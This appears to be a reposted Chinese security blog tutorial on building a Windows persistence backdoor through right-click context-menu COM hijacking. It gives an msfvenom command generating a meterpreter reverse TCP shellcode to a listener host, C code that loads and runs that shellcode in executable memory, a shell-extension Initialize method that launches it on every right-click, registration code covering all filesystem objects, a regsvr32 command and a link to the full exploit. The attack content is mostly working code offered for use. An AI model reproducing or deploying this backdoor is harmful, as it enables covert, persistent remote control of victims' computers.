windows持久化后门之右键上下文菜单

admin 2024年1月12日13:21:47评论24 views字数 3309阅读11分1秒阅读模式

windows 上下文菜单介绍

Windows 上下文菜单是指在 Windows 操作系统中,当用户右键单击某个对象(如文件、文件夹、程序等)时,弹出的菜单。这个菜单包含了与所选对象相关的一些操作选项,例如打开、复制、移动、删除等。

通过使用上下文菜单,用户可以快速执行常用的操作,而无需在多个菜单中查找相关选项。上下文菜单可以根据对象的类型和用户的设置而有所不同。

windows持久化后门之右键上下文菜单

上下文菜单持久化利用    

ContextMenuHijack是一种简单的持久性技术,它使用基于人类行为的 COM 劫持,当您右键单击文件资源管理器中的文件/文件夹以打开上下文菜单时,它会同时执行我们指定的后门程序

windows持久化后门之右键上下文菜单

构造攻击链

1使用RegisterShellExtContextMenuHandler函数来实现注册一个自定义的上下文菜单处理程序

1使用FileContextMenuExt::QueryInterface 函数来绑定上下文菜单按键与触发的命令操作

1使用FileContextMenuExt::Initialize函数来初始化上下文菜单对象,然后在初始化里默认创建一个后门进程

1用msf生成shellcode,然后使用VirtualAlloc函数编写一个后门进程

1将上述核心构造完后编译为dll文件,使用regsvr32来注册dll文件,然后就会一直在系统中运行,等待用户使用📧上下文就会触发反弹shell

详细利用方式

1. 使用msf 生成shellcode    

Shell                  
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.4 LPORT=4444 EXITFUNC=thread -f c > pentestlab.txt

windows持久化后门之右键上下文菜单

2. 编写注入后门

使用“VirtualAlloc”函数来分配一个内存区域,执行的shellcode将存储在该区域

Shell                  
void InjectShc()                  
{                  
DWORD dwOldProtect = 0;                  
LPVOID addr = VirtualAlloc( NULL, sizeof( buf ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE );                  
memcpy( addr, buf, sizeof( buf ) );                  
                 
VirtualProtect( addr, sizeof( buf ), PAGE_EXECUTE_READ, &dwOldProtect );                  
                 
( ( void( * )() )addr )();                  
}

windows持久化后门之右键上下文菜单

3. 编写上下文菜单初始化

Initialize 方法的主要作用是在文件上下文菜单扩展被加载时进行必要的初始化操作。通常包括以下一些常见的任务:    

1注册文件类型或扩展名与上下文菜单扩展的关联。

1加载或创建扩展所需的资源,如图标、菜单项目等。

1设置扩展的属性或选项,如菜单项的可见性、排序顺序等。

1建立与其他组件或系统的连接,以便在文件右键菜单中提供自定义的操作。

基于此方法的能力,可以在实现该方法时,方法内使用“CreateThread”将创建一个将执行shellcode的新线程,达到只要你使用上下文菜单就必然会调起我们的恶意注入的后门

Shell                  
IFACEMETHODIMP FileContextMenuExt::Initialize( LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hKeyProgID )                  
{                  
DWORD tid = NULL;                  
CreateThread( NULL, 1024 * 1024, ( LPTHREAD_START_ROUTINE )InjectShc, NULL, 0, &tid );                  
                 
if ( NULL == pDataObj ) {                  
if ( pidlFolder != NULL ) {                  
}                  
return S_OK;                  
}                  
return S_OK;                  
}

windows持久化后门之右键上下文菜单

4. 使用QueryInterface接口获取接口集查询对象

FileContextMenuExt::QueryInterface 是一个在 Windows 操作系统中与文件上下文菜单扩展相关的方法。它是文件上下文菜单扩展(File Context Menu Extension)的一部分,用于实现自定义的文件右键菜单操作。    

这个方法的作用是查询并获取指定接口的指针,以便与其他组件或系统进行交互。通过调用 QueryInterface,可以查询并获取所需的接口,然后使用这些接口来执行特定的操作,例如显示自定义的菜单项、处理文件操作等。

Shell                  
IFACEMETHODIMP FileContextMenuExt::QueryInterface(REFIID riid, void **ppv)                  
{                  
static const QITAB qit[] =                  
{                  
QITABENT( FileContextMenuExt, IContextMenu),                  
QITABENT( FileContextMenuExt, IContextMenu2 ),                  
QITABENT( FileContextMenuExt, IContextMenu3 ),                  
QITABENT( FileContextMenuExt, IShellExtInit ),                  
{ 0 },                  
};                  
return QISearch( this, qit, riid, ppv );

windows持久化后门之右键上下文菜单

5. 使用RegisterInprocServer将上下文菜单注册为com对象

RegisterInprocServer 是一个函数或方法的名称,通常用于注册一个进程内服务器(In-Process Server)

RegisterShellExtContextMenuHandler 函数用于注册一个上下文菜单处理程序,以便在文件资源管理器中右键单击特定类型的文件或文件夹时,显示你自定义的上下文菜单。这个函数可能会接受一些参数,例如要注册的文件类型、上下文菜单处理程序的实现类、图标等。

Shell                  
hr = RegisterInprocServer( szModule, CLSID_FileContextMenuExt, L"ContextMenuHijack.FileContextMenuExt Class", L"Apartment" );                  
if ( SUCCEEDED( hr ) ) {                  
hr = RegisterShellExtContextMenuHandler( L"AllFilesystemObjects", CLSID_FileContextMenuExt, L"ContextMenuHijack.FileContextMenuExt" );                  
}                  
                 
return hr;                  
}
       

windows持久化后门之右键上下文菜单

6. 编译代码生成dll

将上述构造的代码编译生成dll,然后使用regsvr32.exe程序执行,将dll进行注册,使其一直在系统中能够运行,等待触发

Shell                  
regsvr32 ContextMenuHijack.dll

windows持久化后门之右键上下文菜单

7. 用户触发右键上下文    

一旦用户在windows环境上对对象(文件或文件夹)执行右键单击,代码将执行并建立反弹shell,如下所示。

windows持久化后门之右键上下文菜单

完整的exp

https://github.com/RistBS/ContextMenuHijack/blob/main/ContextMenuHijack/dllmain.cpp

windows持久化后门之右键上下文菜单

原文始发于微信公众号(暴暴的皮卡丘):windows持久化后门之右键上下文菜单

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月12日13:21:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   windows持久化后门之右键上下文菜单http://cn-sec.com/archives/2384464.html

发表评论

匿名网友 填写信息